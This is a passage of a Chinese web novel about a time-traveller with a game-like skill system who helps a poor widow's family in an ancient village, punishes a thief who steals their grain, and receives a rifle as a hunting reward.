何铁牛连忙低头掰着手指算起来,李逸笑着说:“还是我来算吧,省得你算糊涂了。五百斤粟米,按七成的出米率,一共能出三百五十斤纯米。咱们把这些纯米卖到乡里的粮铺,一斤至少能卖两钱多一点,便是算一共能得七百五十钱。而咱们买五百斤带壳粟米,只需四百钱。”
“这么一进一出,咱们就能赚三百五十钱!”
“按一个人一天脱壳四十斤算,最多半个月,就能把五百斤粟米全脱完!”
李逸说得有条有理,每一句话都像砸在何铁牛和张绣娘的心坎上。
两人听得目瞪口呆,半天没回过神来,脸上满是震撼和不敢置信。
“李三兄弟,你的意思是……一个人半个月就能赚三百五十钱,我和你嫂子两个人一起干,那就是七百钱!!”
何铁牛双手在衣襟上蹭了蹭,眼神里满是不敢置信,声音都有些发颤,这可是一笔能让全家过个肥年的巨款啊。
“没错!”李逸肯定地点头:“所以我才说,你不用天天冒着寒风往山里跑,又冷又危险,说不定还会遇到野兽,在家脱壳赚钱又稳当又轻松。”
李逸转头看向张绣娘,笑容温和:“嫂子,你听懂了吗?”
张绣娘缓缓点头,眼神里满是震撼和激动,声音都有些发飘:
“嗯,听懂了……这……这也太赚钱了……”
“所以嫂子,你就安心养好身体,多吃饭、养足力气。等你腰彻底好了,我就给你制作这工具,咱们有钱一起赚钱,让大丫和豆子再也不用饿肚子,冬天也能穿上暖和的衣裳!”
第二十七章:王赖子又作妖了
“娘!这火炕好暖和啊!”
豆子兴奋地坐在热炕头,小脸颊被炕面的热气熏得红扑扑的。
张绣娘刚迈过李逸家的门槛,就觉有一股带着烟火气的温热,比自家冷飕飕的屋子暖和太多,尤其是里屋,热气直扑脸面,让她忍不住缩了缩脖子,驱散了一身寒气。
大丫和豆子正盘腿坐在黄泥搭的奇怪土炕上,小手摸着炕面,眼神里满是新奇。
屋里有两个姑娘,年纪小些的那个她见过,上次去过家里,叫雪儿,笑起来有两个浅浅的梨涡。
年纪稍大些的姑娘有些面生,下巴尖俏,眉眼清秀,气质文静,一看就不是村里农户家的孩子。
“是嫂子吧?快上炕坐,暖和暖和!”于巧倩起身笑着招呼,语气亲切又自然。
张绣娘试探着伸出指尖碰了碰炕面,温热的触感顺着指尖传来,她试探着地在炕边坐下。屁股刚挨上炕面,一股踏实的温热就顺着衣料渗进来,暖得人心里发酥,她满脸惊诧:
“呦,这东西咋是热的?可真稀罕!”
“娘,炕头更热呢!”大丫挪到炕头,仰着小脸对张绣娘喊,小手还在炕面上轻轻拍打。
“娘,咱们家要是也有这火炕就好了,晚上睡觉就不用缩成一团冻得睡不着了。”
豆子趴在炕面用小脸贴着,语气满是羡慕。
李逸这时掀帘进屋笑着说:“天冷冻硬了土,挖不动也做不了土坯砖,等来年开春,三叔准给你们家也搭个一模一样的火炕。”
白雪儿凑到两个孩子身边,笑着说:“豆子、大丫,你们要是觉得冷,以后常来这儿玩啊,咱们一起在炕上暖着,还能一起等夫君做好吃的!”
两个孩子齐刷刷看向张绣娘,眼睛亮得像星星,想答应又怕惹娘不高兴,小手紧紧攥着衣角,透着股懂事的乖巧。
李逸不给张绣娘开口的机会,拍着胸脯笑道:“就这么定了!三叔是家里唯一的男人,说话管用,你们想来就来,不用跟三叔客气。”
张绣娘笑着摇了摇头,没再多说。又坐了片刻,她想着该带孩子回家了,却被白雪儿一把拉住胳膊:“嫂子,别急着走啊!中午夫君给咱们做鸡汤面条吃,可香了!你们肯定没吃过这么好吃的东西!”
面条是什么?
大丫和豆子的小脑袋里完全没概念,但鸡汤两个字他们记得真切,上次小婶婶送的那碗鸡汤,鲜味儿到现在还惦记着。
两人抿着嘴,眼巴巴地望着张绣娘,那馋嘴又懂事的模样让张绣娘心软。
“嫂子,留下吧,都是自家人,没啥见外的。”于巧倩也帮着挽留。
“哎,那我们就不客气了。”张绣娘笑着点头应下。
知道中午要吃面条,白雪儿干劲儿十足地去院子里给小麦脱壳,她身材单薄,踩在李逸做的脱壳工具上却毫不费力。
张绣娘站在一旁看着,心里琢磨着李逸说的带她赚钱,虽说现在腰伤没好不能上手,先看看门道也好心里有个数。
看了半晌,张绣娘发现这工具用着竟这般简单,只需踩着踏板带动前面的木疙瘩,时不时给谷物翻弄两下,不用费多大劲,比石杵捣米更轻松也更快。
“雪儿,这东西真是三兄弟想出来的?”
“是啊!”白雪儿仰着下巴,眼睛亮晶晶的,语气满是骄傲:“还有那边的石磨、屋里的火炕,全是夫君琢磨出来的!他现在可会想点子了,弄出来的都是些能用的好东西!”
张绣娘嘴上说着心中却想到李逸的按摩,几天就把她的腰伤按好,比那些土郎中厉害。
何铁牛干活很麻利,出去不到一个时辰就拖着两棵粗壮的树干回来了,还把多余的树枝都砍了去,他没留在李逸家吃饭,心里揣着赚钱的好消息,急着回去跟婆娘分享,脚步都比平时快了不少。
“啥?一个人光是给粟米脱壳,半个月就能赚三百五十钱?”
刘氏手里的粥勺哐当一声磕在碗沿上,眼睛瞪得溜圆,心里飞快打着算盘,嘴里小声嘀咕:
“半个月三百五,那一个月就是……就是……”
“七百钱!”
何铁牛扒拉着碗里的粟米粥,大口吞咽着,憨憨地笑道。
“哎?你这憨牛,啥时候算账这么快了?”刘氏诧异地看着他,手里还不忘给怀中的儿子喂粥。
“不是我算的,我哪有这本事。”何铁牛咽下嘴里的饭,老实回答:“是李三兄弟算的,他脑子灵光比算盘还快呢,一点都不带错的!”
刘氏给儿子喂完一口粥,心不在焉地说:
“李三自从脑袋开窍后,真是越来越有能耐了,你可要好好跟着他学,咱们咋就想不出这么赚钱的法子咧。”
她顿了顿,眼睛一亮:“对了,回头你跟李三说,让他给咱家弄两个那脱壳的大木头桩子,我闲了也能踩两下,多脱一斤米就多赚一斤的钱,一个月下来我怎么也能脱个一二百斤吧!”
“成!我回头就跟他说!”何铁牛满口答应,扒饭的速度更快了。
另一边,李逸家的院子里早已香气弥漫。
所有人都围在锅灶边,目光齐刷刷落在李逸身上,锅里的鸡汤咕嘟咕嘟沸腾着,金黄的油珠欢快地上下翻滚,鲜味儿随着蒸汽升腾勾得人直咽口水。
李逸把切好的面条抖落进锅里,白色的面条在汤中散开,渐渐变得软糯透亮。
白雪儿的眼睛死死盯着锅里,小手已经端好了大陶碗,这是上次李逸在乡里特意买的,又大又厚实,盛饭盛菜都方便,用来装面条再合适不过了。
大丫和豆子也学着她的样子,捧着碗站在一旁,喉咙里咕噜咕噜咽着口水,小脸蛋憋得通红,连呼吸都放轻了。
张绣娘站在后面,看着这从未见过的吃食,闻着浓郁的香气,肚子也忍不住咕咕叫起来。
她全程看着李逸做面条,把小麦脱壳,放进石磨里磨成细粉,加水和成光滑的面团,再用长木棍擀成薄薄的一张,最后用刀切成一条一条的。
一粒粒小麦,经李逸这么一摆弄,竟变成了这般新奇的模样,她心里既佩服又期待,好奇这东西到底是什么味道。
“好了!面条熟了!”
李逸刚掀开锅盖,白雪儿就迫不及待地把碗递了过去:“夫君,快盛!还有板上那半根面条,可别浪费了!”
六碗鸡汤面摆上桌,袅袅升腾的热气在小桌上方缠绕,空气中混合着鸡汤的鲜味儿和小麦的清香,让人食指大动。
原来那张破旧的木桌早就被李逸劈了当柴烧,现在的桌椅都是他亲手打造的,虽不算美观,却结实耐用,坐着稳稳当当。
白雪儿早就按捺不住了,昨晚念叨了半宿面条,连做梦都在吃,嘴里还咕哝着:“夫君,雪儿吃不下了……”
此刻她拿起筷子,把碗里的面条翻弄了几下,夹起一筷子鼓起嘴用力吹了吹,赶紧送进嘴里,一边嚼一边含糊地喊:“呜呜……太好吃了!夫君、嫂子,你们快吃啊!”
豆子看懂了吃法,也学着她的样子夹起面条,吹凉后塞进嘴里。
下一秒,他手里的筷子停在半空,眼睛瞪得像兔子一样圆,满脸都是震惊!
大丫也差不多,小口咬下面条,眉眼瞬间舒展开来,只顾着埋头往嘴里扒,连话都顾不上说。
张绣娘夹了一筷子面条,轻轻咬了一口,软糯的面条裹着鲜美的鸡汤,麦香和肉香在嘴里交织,鲜而不腻,是她从未尝过的味道!
她不可置信地看向李逸,眼神发亮,嘴角忍不住上扬:“三兄弟,这面条也太好吃了!真是从没吃过这么好吃的东西!”
“嫂子,好吃就多吃点,锅里还有不少,不够再添。”李逸笑着说。
一连吃了小半碗,豆子才腾出功夫说话,嘴里还塞着面条:“三叔,你太厉害了!会打猎、会做面条,我长大也要跟你一样厉害!”
“三叔,这是我吃过最好吃的东西!你真厉害!”
大丫也连连点头,小脸上满是崇拜,手里的筷子还在往嘴里扒面。
两个孩子实在想不出更华丽的词,只一个劲儿夸李逸厉害,两碗面条没一会儿就见了底,连碗里的鸡汤都喝得干干净净,小舌头犹未尽地舔着碗沿,一副没吃够的模样。
李逸见状,笑着又给他们各盛了小半碗:“慢慢吃,不够还有,管够!”
“哎呀,三兄弟,不用了!”张绣娘连忙摆着手,语气带着不好意思:“他们都吃了一大碗了,我这碗吃不完,给他们分点就行,别浪费了。”
李逸却不由分说,又给她的碗里添了些面条:“嫂子,自家人客气啥,吃饱了身体才暖和,你得尽快养好身子,我还等着带你赚钱呢,到时候让豆子和大丫天天都能吃饱饭,顿顿都能沾荤腥。”
他转头看向两个孩子:“豆子、大丫,你们要赶紧长大,以后跟着三叔干活,让你娘跟着你们享福,不用再这么辛苦。”
豆子摸了把鼻涕,用力点头:“嗯!我要跟着三叔赚钱!让娘过上好日子!”
大丫却耷拉着脑袋,小嘴一撇,委屈地说:“可是三叔,我长大了就要嫁人了,就不能跟着三叔干活了。”
看着小丫头愁眉苦脸的模样,李逸笑着摸了摸她的头:“早着呢!等你长大了,三叔给你找个好人家,不让你受委屈!”
豆子忙不迭附和:“对!找个三叔这样的,会打猎、会做面条,还会摸……”
话没说完,张绣娘眼疾手快一把捂住他的嘴,脸颊瞬间红透,又急又窘地瞪了儿子一眼。
李逸哭笑不得,佯装生气拍了下豆子的小脑袋,嘴角却藏不住笑意:
“臭小子!以后可别乱说话啊!三叔那是给你娘看病呢,可不是瞎摸,知道吗?
我名声不好没关系,可不能坏了你娘的名声,让别人嚼舌根。”
“哦……”豆子委屈地眨了眨眼,掰开张绣娘的手,又补充道:“那三叔,我学完打猎,还想跟你学看病!摸一摸就能好,太厉害了!”
李逸这下算是明白了,什么叫:打败你的是天真还有无邪。
白雪儿在一旁咯咯直笑,于巧倩也抿着嘴偷笑,屋里的气氛暖融融的,满是烟火气,温馨又热闹。
他缩着脖子,裹紧了身上那件破烂不堪的单衣,贼眉鼠眼地左右张望,确认周围没人后,才停下脚步。
家里的粟米早就吃光了,这几天他和懒婆娘全靠挖野菜、嚼草根充饥,胃里酸水直冒,饿得头晕眼花。
懒婆娘指望不上,只会躺在床上哼哼,饿得心发慌的王赖子就算瘸着腿也只能自己出来寻觅,不知不觉就走到了张绣娘家门口。
他站在低矮的院墙边探头张望,房门紧闭,烟囱里没半点炊烟,也听不到屋里的动静。
早上他恍惚看见张绣娘带着两个孩子去了李三家,看样子是到现在还没回来。
“这李三到底给小张寡妇灌了什么迷魂汤?”
王赖子不忿地啐了口唾沫,眼神里满是嫉妒和不甘:
“奶奶的,上次我就碰了她一下,她就要死要活的!我还以为是贞洁烈妇,合着跟其他寡妇也没两样嘛!呸!”
李三游手好闲处处不如他,最近几天却过得风生水起,连张绣娘都对他另眼相看。
王赖子心里越想越不平衡,像有只猫爪子在挠,想起昨晚撞见李三时,他背上背着好些猎物,心里琢磨着,那些野味儿肯定送进了张绣娘家,说不定屋里还藏着没吃完的肉哪。
进去找找,说不定能翻到些米粮或肉,正好填填肚子!
第二十八章:动了杀心!
王赖子盯着眼前紧闭的屋门,贼溜溜的小眼睛转得飞快。都是过着穷苦吃不饱饭的日子,小张寡妇出门还特意把门关得严严实实,这是屋里头藏着好东西啊!
想到这儿,他双眼放光!一瘸一拐地凑上前推门。门被修补过,关得紧实,里面还插着木棍,推了两下根本推不动。
“呵……这点门道还想难住我?”
王赖子冷笑一声,他偷鸡摸狗的勾当干得多了,开这种木门插销最有经验。
他在院子里翻找片刻,捡了根水分没干、粗细合适的树枝,攥在手里蹭了蹭,就往门缝里塞。粗糙的手指在门缝里捣鼓了十几下,额头沁出细汗,嘴里还念念叨叨,终于咔嗒一声,门后的插棍被他移开了。
“呵!”
王赖子迫不及待地推开门,贼兮兮的小眼睛在屋里扫了一圈,立马盯上了角落里的米缸,缸上压着木锅盖和一块石头,这是里面就藏着粮食在防耗子。
王赖子加快脚步,一瘸一拐地挪过去,双手用力掀翻锅盖和石头,哐当一声锅盖砸在地上,探头一看,米缸里放着一个小布袋,一把拎起来入手沉甸甸的,少说有二十几斤!
“哈哈哈哈……”
王赖子笑得咧开嘴,露出黄黑的牙:“这些够老子吃几天了!”
他把布袋往胳膊上一挎,正要往外走,忽然想起什么!
伸着脖子仔细嗅了嗅,屋里没有肉香,也没有烧毛的糊味,说明昨晚张绣娘娘仨没吃肉,要么是李三那小子没舍得给,要么就是张绣娘自己舍不得吃,肯定还藏着!
王赖子瞬间兴奋起来!蹲在地上四处摸索。在里屋的木床底下倒扣着一个木盆,他伸手一掀,两只圆滚滚的鹌鹑露了出来,还带着细密的绒毛,看着就肉实。
他眼冒绿光,狠狠吸溜了下快流到嘴角的口水,连忙把鹌鹑抓起来塞进怀里,胳膊夹着米袋,一瘸一拐地往走,生怕被人撞见。
从李逸家吃完晌午饭,大丫和豆子在热炕头上眼皮都快黏在一起,张绣娘当即决定带他们回家。虽说雪儿和巧倩都劝让孩子在炕上睡一觉,可张绣娘实在不好意思多叨扰,拉着两个孩子就往家走。
路上,豆子一边擦着鼻涕,一边傻呵呵地笑:“娘,那鸡汤面条可真好吃,我明天还想吃。”
张绣娘轻拍了下他的后脑勺,嗔道:
“你个小馋鬼!你以为你三叔打猎容易啊?那小麦可比粟米金贵多了,尝个鲜就得了,可不能没出息总往三叔家跑,把三叔和嫂嫂们惹烦了,以后就不理你们了。”
豆子一听三叔会不理自己,小脸瞬间垮了,眼里满是害怕。
三叔变好了,他喜欢这样的好三叔,可不能让三叔讨厌他不理他。
“娘,我知道了,以后我少去。”
“娘放心,我会看着豆子,不让他乱跑的。”大丫比豆子大两岁,懂的事多些,连忙帮着保证。
天寒地冻,风刮在脸上像刀子,娘仨加快脚步往家赶。远远望见田埂旁的土路上有个一瘸一拐的背影,转个弯就没影了,那身形瞧着像王赖子。
张绣娘心里咯噔一下,脚下步子又快了几分。等看清自家院门和屋门都四敞大开,她的心直接提到了嗓子眼,小跑着冲进屋里。
“娘,等等我!”豆子喊了一声,迈着小短腿拼命追赶。
大丫比豆子懂事,见家门敞着,娘的脸色煞白,瞬间猜到了什么,眼睛唰地就红了,紧紧跟着张绣娘往里跑。
外屋的米缸旁,锅盖和石头翻倒在地。张绣娘扑过去探头一看,米缸空空如也,装米的布袋不见了,连一粒米都没剩下。她又踉跄着冲进里屋,木床下的木盆被扔在一旁,地上只剩两根鹌鹑羽毛。
一瞬间,张绣娘只觉得天旋地转,双眼发黑,手脚冰凉,嘴唇哆嗦着,她无力地跪坐在地,喃喃自语:“完了……都没了……全都没了!”
紧接着,她捂住脸呜呜哭了出来,声音里满是绝望:“天杀的王赖子!就知道欺负我们孤儿寡母!这日子可怎么过啊!”
豆子也跟着坐在地上,仰着头哇哇大哭:“没了!米没了!肉也没了!又要饿肚子了!”
大丫紧抿着嘴,小拳头攥得死死的,眼泪在眼眶里打转,却强忍着没掉下来,转头就往院外跑,她要去找三叔!
李逸正在院子里处理何铁牛砍回来的树干,忽然听到院外传来沉重又凌乱的脚步声,紧接着就看见大丫冲进院子,一见到他就哇的一声哭出来,大喊:
“三叔!癞子头偷了你送的米和肉!娘和弟弟都在哭!”
“啥!”
李逸猛的站起身,拎起斧头就跟着大丫往外冲,何铁牛刚好吃完饭赶过来,他大着嗓门喊:
“等等我,李三兄弟!我跟你一起去!这个王赖子就是个祸害,早就该收拾他了!”
两人快步赶到张绣娘家,还没进院子就听见豆子撕心裂肺地哭嚎。
进屋一看,张绣娘跪坐在地上,眼神空洞,满脸绝望,豆子坐在门口,眼泪鼻涕糊了一脸,哭得浑身发抖。
李逸先把豆子抱起来放在床上,又转身走到张绣娘身边,伸手将她搀扶起来。
张绣娘刚在绝望中看到点生活的盼头,就被现实重新推入深渊,没了男人撑腰,王赖子这种人只会变本加厉地欺负她们。
“嫂子,你别哭,有我呢,兄弟给你做主!”李逸的声音沉稳有力。
张绣娘看着他关切的眼神,眼里终于恢复了些神采。跪坐太久,腿麻得没了知觉,起身时一个踉跄直接靠在了李逸怀里。温热的胸膛让她紧绷的神经瞬间松弛,积压的委屈一下子涌了上来,眼泪掉得更凶了。
李逸将她扶到炕上坐好,语气坚定:
“嫂子,你在这儿等着,我这就去把东西拿回来,让那王赖子以后再不敢欺负你们!”
说完,他拎着斧头就往外走,何铁牛紧随其后。
以前村里有两大祸害是李三和王赖子,如今李逸改邪归正,就只剩王赖子一根搅屎棍。
王赖子一瘸一拐地回到家,刚推开门就大声嚷嚷:“快出来做饭,你个懒婆娘!”
陈氏顶着一头鸟窝似的乱发从里屋走出来,眼神呆愣无神,脸上没半点表情。
就算看到王赖子手里的米袋,她也只是麻木地瞥了一眼,没有丝毫开心的样子,挠了挠头,她接过米袋就要往锅里倒。
“哎呀!先捣谷壳!动作快点!要你这蠢婆娘有什么用!”
王赖子语气极不耐烦,要不是自己腿脚不方便,少不了又是一顿打骂。
他吃力地坐在地上,把伤腿直挺挺地伸着,拿起怀里的鹌鹑开始拔毛。拔了一阵见还有不少绒毛粘在上面,他顿时没了耐心,把鹌鹑往地上一扔,骂骂咧咧地喘着气。
“算了不拔了,直接烧了吃!”
嘭!
外屋门被一脚踹开,木屑飞溅!
王赖子惊愕地抬头,就看见李逸满脸怒意,手里拎着一柄斧头站在门口,眼神冷得像冰。旁边还站着人高马大的何铁牛,也一脸凶相,吓得他浑身一哆嗦。
“喂!李三!你干什么?这是我家!你滚出去!”
王赖子反应过来,强装镇定地梗着脖子叫嚣,心里却直发怵。
李逸没跟他废话,大步上前,一脚就把坐在地上的王赖子踹翻。王赖子挣扎着想爬起来,李逸抬手就是一个勾拳,重重砸在他脸上又把他打翻在地,鼻血瞬间流了出来。
“不长记性是吧!”
李逸抬起大脚,死死踩住王赖子的一只胳膊,紧接着,斧背带着风声砸了下去。
斧头锤在手掌上发出闷响,王赖子杀猪般的惨嚎,声音尖厉刺耳。
李逸却仿佛没听见,又扯过他另一只手,斧头背连续砸了三下,砸得他手掌和手指骨头都变了形,疼得王赖子眼泪鼻涕一起流。
“李三!别打了!别打了!我错了!我再也不敢了!”王赖子哭喊着哀求,声音都变了调。
李逸蹲下身,一把揪住他的衣领,冷着脸问:
“知道我为什么打你吗?”
王赖子的脸肿得老高,鼻涕眼泪糊了一脸,疼得浑身发抖,含糊着说:
“知道!知道!我不该偷小张寡妇家的米,还有……还有那两只鹌鹑!”
他近距离盯着李逸冰冷的眼睛,心里直发毛:
【这李三到底怎么了?以前都是我欺负他,现在怎么跟疯狗一样,下手这么狠!】
李逸站起身,一脚踩住王赖子没受伤的那条腿,语气冰冷:“要腿,还是要粟米?你说!”
“要……要腿!”王赖子的脸都吓绿了。
双手被打成这样,不知道要多久才能好,要是再被打断腿,他只能躺在床上等死了!
李逸没再理他,转身从陈氏手里抢过那小半袋粟米,又捡起地上的两只鹌鹑,拎在手里。
何铁牛全程站在一旁看着,李逸此刻表现出的凶悍,连他都吓了一跳。
看着李逸转身离开的背影,王赖子眼里的恐惧渐渐变成恶毒,死死盯着,心里咬牙切齿:
【李三!我绝不会就这么算了的!等我伤好了,就让你哭!】
李逸脚步一顿,后背仿佛长了眼睛似的,猛地回头,眼神里闪过一丝冰冷的杀意!
自古就没有千日防贼的道理,王赖子这种人坏到了骨子里,教训两次还不知悔改,反而惦记着报复,他可没功夫跟这种人耗。
“王赖子!我最后再说一遍,你给我听清楚了!”
李逸的声音带着冰冷的寒意:“我和我身边的人,你别打主意!下次再敢伸手,我直接砍了你的双手双脚!让你当人棍!”
“说到做到!不砍我跟你姓!你记住了!”
说完,李逸大步离去,王赖子被他这股气势唬得愣了半天,直到李逸的身影消失,才顾得上喊疼,双手的剧痛让他蜷缩在地上,哀嚎不止。
整个过程,陈氏就站在一旁冷眼旁观,脸上没有任何表情,既不劝阻也不吭声,像个没有灵魂的木偶。
“铁牛哥,王赖子那个媳妇,看着有点不正常啊。”回去的路上,李逸忽然开口。
何铁牛点点头,叹了口气:“可不是嘛!听我家婆娘说,王赖子卖过好几个孩子。第一次他要卖孩子,陈氏不让,他就把陈氏打得半个月没下床。从那之后,陈氏就变得傻傻的,对啥都不上心了。”
李逸攥紧了手里的斧头,咬牙道:“这家伙留着,始终是个祸害!”
何铁牛听出他语气里的杀意,忍不住打了个冷颤,没敢接话。
回想李逸最后说的话,他不会真要砍断王赖子的双手双脚吧!
李逸回到张绣娘家时,豆子和大丫正坐在门槛上翘首以盼,小脑袋时不时往路上望。
一看到李逸像打了胜仗的将军似的走进院子,手里还拎着米袋和鹌鹑,姐弟俩瞬间跳起来欢呼:“娘!三叔回来了!他把米和肉都抢回来了!”
张绣娘连忙从里屋下来,看到李逸手里的米袋和鹌鹑,悬着的心终于落了地,眼泪又掉了下来,这次却是喜极而泣:
“三兄弟,真是多亏了你……不然我们娘仨,这日子真没发过了”
李逸把米袋递给她,又把鹌鹑放在桌上:“嫂子,你放心,以后王赖子不敢再对你动歪心思。”
豆子扑到李逸身边,拉着他的衣角仰着小脸说:“三叔,你真厉害!”
大丫也跟着点头,小脸上满是崇拜,张绣娘看着失而复得的米和肉,又看看身边护着他们的李逸,心里涌上一股暖流。
第二十九章:猎虎
【木工熟练度+ 5】
【生存技能木工升级】
【获得奖励:人物属性敏捷+1】
【获得奖励:全套木工工具】
【奖励已自动存入物品栏】
淡蓝色的虚拟面板在眼前一闪而逝,李逸嘴角上翘露出微笑。
他本以为狩猎会是第一个升级的技能,但没料到一整埋头在家做木工活,竟让木工熟练度在不知不觉中攒够了升级条件。
属性奖励果然如他所料,生活技能升级必出随机属性点,这算是摸清了系统的规律,而那套全套木工工具,是让他眼前一亮的惊喜。
这个时代的生产力实在落后,乡里和县城的铁匠铺打制的铁器,要么含碳量不均一敲就脆,要么形状粗糙不堪用,稍微复杂些的榫卯辅助工具更是想都别想。
先前用铁匠铺的豁口凿子干活,木料浪费不说,手掌还磨出了好几个水泡,正应了那句巧妇难为无米之炊,好手艺也得有趁手家伙配。
李逸将意识沉入物品栏,指尖划过工具箱图标,打开一看,里面的工具五花八门:锃亮的鲁班尺、刃口锋利的框锯、大小不一的凿子、打磨光滑的刨子、精准的墨斗.......除了现代电动工具没有,从基础到进阶的木工器具一应俱全,妥妥配得上全套二字。
随着木工技能升级,一股信息流涌入脑海,先前那些晦涩的榫卯技巧、木料处理法门瞬间清晰,就连之前总觉得别扭的拼接手法,也变得顺理成章,操作不熟练的问题不攻自破。
今天一整天,李逸在自家院子里赶制了四个粟米脱壳工具,让何铁牛推回家两个,这样一来除了帮自己伐木,何铁牛就能在家加工粟米,不用在冒着冷风进山寻找药材和山货。
一切都在按部就班地推进,虽是进度不快却稳扎稳打。
李逸特意让何铁牛多砍了些硬木,打算在院子角落搭两个木棚。
一个给日后要买的大牲口遮风挡雪,如今已经入冬,总不能等买回来再仓促搭棚。
另一个则是当工作间,把脱壳工具和石磨都挪进去,往后不管刮风下雨,都能安心干活。
何铁牛力气大,帮着把几根粗壮的树桩深深埋进土里做支撑,剩下的活儿李逸一个人便能应付,白雪儿和于巧倩闲时也能搭把手递个工具、扶个木板。
或许是连日劳作的缘故,又或许是属性点加持,李逸的身材悄然蜕变,不再是先前的干瘪瘦弱,取而代之的是精瘦紧实的线条,肩背硬朗了不少,小臂上的肌肉随着挥斧动作隐隐凸起。
敏捷属性提升的效果尤为明显,李逸能清晰感觉到身体的协调性大增,先前搬木料时偶尔磕碰的笨拙感,如今已荡然无存。
白雪儿和于巧倩听说,用夫君制作的脱壳工具给粟米脱壳,能让何铁牛和张绣娘每月能赚几百钱,顿时也动了心,小声说想跟着一起干活,既能帮家里补贴家用,也不想总闲着。
李逸本就没指望她们多干活,笑着应了下来:
“你们每天做些活也好,吃得饱,适量动一动可以强身健体,总比闷在屋里强。”
次日天还没亮,李逸就起身到院子里练习《气合拳》。
虽是清晨寒冷,但一套拳打下来他就感觉体内有一股热流。
打了五遍让武功技能增加了5点熟练度,李逸遍停了下来,如今生活技能越来越多,他得找到平衡点,让各项技能均衡提升,才能持续获得强化身体的属性点。
“夫君,今日还要进山吗?”
于巧倩跟着早起,李逸让她捞干饭,等自己练完拳正好能吃,此刻锅里的饭香已顺着灶膛的热气飘了出来,勾得人食指大动。
“嗯,”李逸擦了擦汗,走到灶台边坐下:“天越来越冷了,多打些猎物,好给你和雪儿做件皮袄。运气好的话,说不定能打只老虎回来,换些银钱再买头骡子。”
于巧倩掩嘴轻笑,眉眼弯弯如新月:
“夫君切莫说笑了,那大虫凶得很!真遇上了,夫君该赶紧逃命才是,家里还有我和雪儿等着呢。”
“放心!”李逸笑着点头,眼神转柔:“我惜命得很,你们这么好,我怎么舍得丢下你们?”
“贫嘴!”于巧倩娇嗔着瞪了他一眼,脸颊泛起淡淡的红晕,起身盛了一碗粟米饭递过来。
李逸接过碗筷,三两口吃完,又用晒干的野菜叶子包了两个饭团,往水囊里灌满温水,拎起弓箭便要出门。
于巧倩一路送到院门口,寒风拂起她的鬓发,她轻声叮嘱:
“夫君当心些,山路滑,切莫伤着自己。”
“进屋吧,外面凉!”李逸扭头挥了挥手,大步踏出了院门,将头上丑丑皮帽子往下拉了拉。
出了村子,李逸沿着土坡向山林方向全速奔跑,脚下的土路凹凸不平,散落着碎石和枯草,他却如履平地,粗布鞋底碾过地面的声响轻快急促。
一口气跑了上百米,不仅没喘粗气,反而觉得浑身舒畅,先前跑五十米就气喘吁吁的窘迫彻底消失了。
敏捷属性的提升,不仅让速度变快,身体的灵活性和协调性也大增。
在山林里生存,耐力和灵活缺一不可,没有耐力撑不住长途跋涉,不够灵活便应对不了突发状况,如今这两点都有了保障,他心里更有底了。
李逸加快脚步,先赶往新换的兔子套地点。先前的位置收获不错,但一片区域的兔子数量有限,久而久之兔子也会变贼的,需要偶尔更换下。
刚到附近就看到两只灰兔被麻绳编的兔子套勒得死死的,圆滚滚的身子扭动着,红眼睛里满是惊恐,后腿蹬得泥土飞溅,却越挣扎绳套收得越紧,发出微弱的呜咽声。
李逸面露喜色,快步上前补刀,干净利落地结束了兔子的痛苦,待死透后将它们收入物品栏。
【狩猎熟练度+ 10】
【狩猎熟练度+ 10】
【狩猎等级提升】
【获得奖励:力量+1体质+1】
【获得奖励:老式猎枪】
“我靠?”
李逸愣在原地,大脑短暂宕机。
下一秒,心脏砰砰狂跳,血液瞬间冲上头顶,忍不住裂开嘴得意的笑着。
这奖励也太丰厚了!
狩猎等级二次提升,竟是一次性给了两点属性点!
更让他狂喜的是,额外奖励居然是一把老式猎枪,这可是后现代的科技产物,在这个冷兵器为主的时代,简直是降维打击!
他迫不及待将意识沉入物品栏,取出猎枪,说是老式模样却崭新如初,深色木托带着温润的触感,金属部件泛着冷冽的光泽,沉甸甸的手感压在掌心,莫名让人安心。
一股信息流涌入脑海,瞬间理清了猎枪的型号和用法:这是一把单发栓动步枪,与霰弹枪不同,霰弹枪适合近距离糊脸,杀伤范围广,而步枪有效射程是霰弹枪的一倍还要多,子弹穿透力极强,对付老虎这种大型猛兽再合适不过。
李逸打开配套的小铁盒,里面整齐码着二十发黄铜子弹,油光锃亮。
他心里盘算着:二十发子弹,每一发都得用在刀刃上,打完之后这枪就成了烧火棍,所以打虎必须一击必中,绝不能浪费。
先前凭着硬木弓,他估算在狩猎等级提升后打虎的成功率只有六成到七成,可有了这把步枪,成功率直接飙升到八成以上,还极大程度地降低了风险。
“对不起了虎哥,天要亡你,你就乖乖给我换成大骡子吧。”
李逸摩挲着冰凉的枪管,忍不住调侃了一句。
虽是第一次接触猎枪,他却像用了多年一般熟练,端枪、瞄准、扣扳机的动作一气呵成,姿势标准的不像话,显然是技能升级附带的熟练度加成。
唯一的缺陷是单发栓动设计,每次只能装一发子弹,射击后还得手动退弹壳,容错率极低。
“系统爸爸,都给枪了,就不能一步到位给把 AK?”
“你敢给,我就敢单手压枪打虎!”
他嘴上吐槽着,手上却麻利地给猎枪压弹上膛,拉动枪栓的咔嚓声在寂静的山林里格外清晰。
吐槽归吐槽,他对这奖励已是相当满意,将猎枪收回物品栏,李逸拎着弓箭,快步向上次发现老虎踪迹的区域赶去。
老虎领地意识极强,活动范围相对固定,短短几天绝不会换地盘。
天色愈发阴沉,铅灰色的云层低低地压着山头,像是随时会砸下来。
山风在山林间流窜,让李逸不由地紧了紧身上的旧冬衣,鼻腔里满是湿冷的气息,李逸敏锐地闻到了大雪将至的味道,这是一个优秀猎人对环境的精准直觉。
正午时分,他找了处避风的土坡坐下,吃了两个饭团,喝了些水。
如今他的属性面板已更新为【力量2体质3敏捷2智力1】
比起刚穿越时的弱不禁风,也算是脱胎换骨。
李逸的身体大幅度强化后,论耐力应该能跟何铁牛相比,力量比何铁牛逊色,身手敏捷上可能也相差不多甚至会略胜一筹。
感受着身体的变化,李逸嘴角不自觉上扬。
厨艺、裁缝、木工的熟练度容易提升,《气合拳》固定修炼十几天也能升级,再攒四五点属性点不难。
可看到狩猎技能下次升级需要的2000点熟练度时,他忍不住咂了咂嘴。
下一阶段需要的熟练度翻了四倍,单靠打兔子野鸡,得两百只才能攒够,这短时间内根本完不成,还得主攻大型猎物,可大型猎物在山林中是很稀少的。
一阵嘎嘎嘎的乌鸦叫声从树林深处传来,尖锐刺耳,紧接着,一群飞鸟惊恐地冲天而起,翅膀扑棱的声音打破了山林的静谧。
李逸瞬间警觉,屏住呼吸,缓缓从土坡后探出头,锐利的目光如鹰隼般扫过四周。
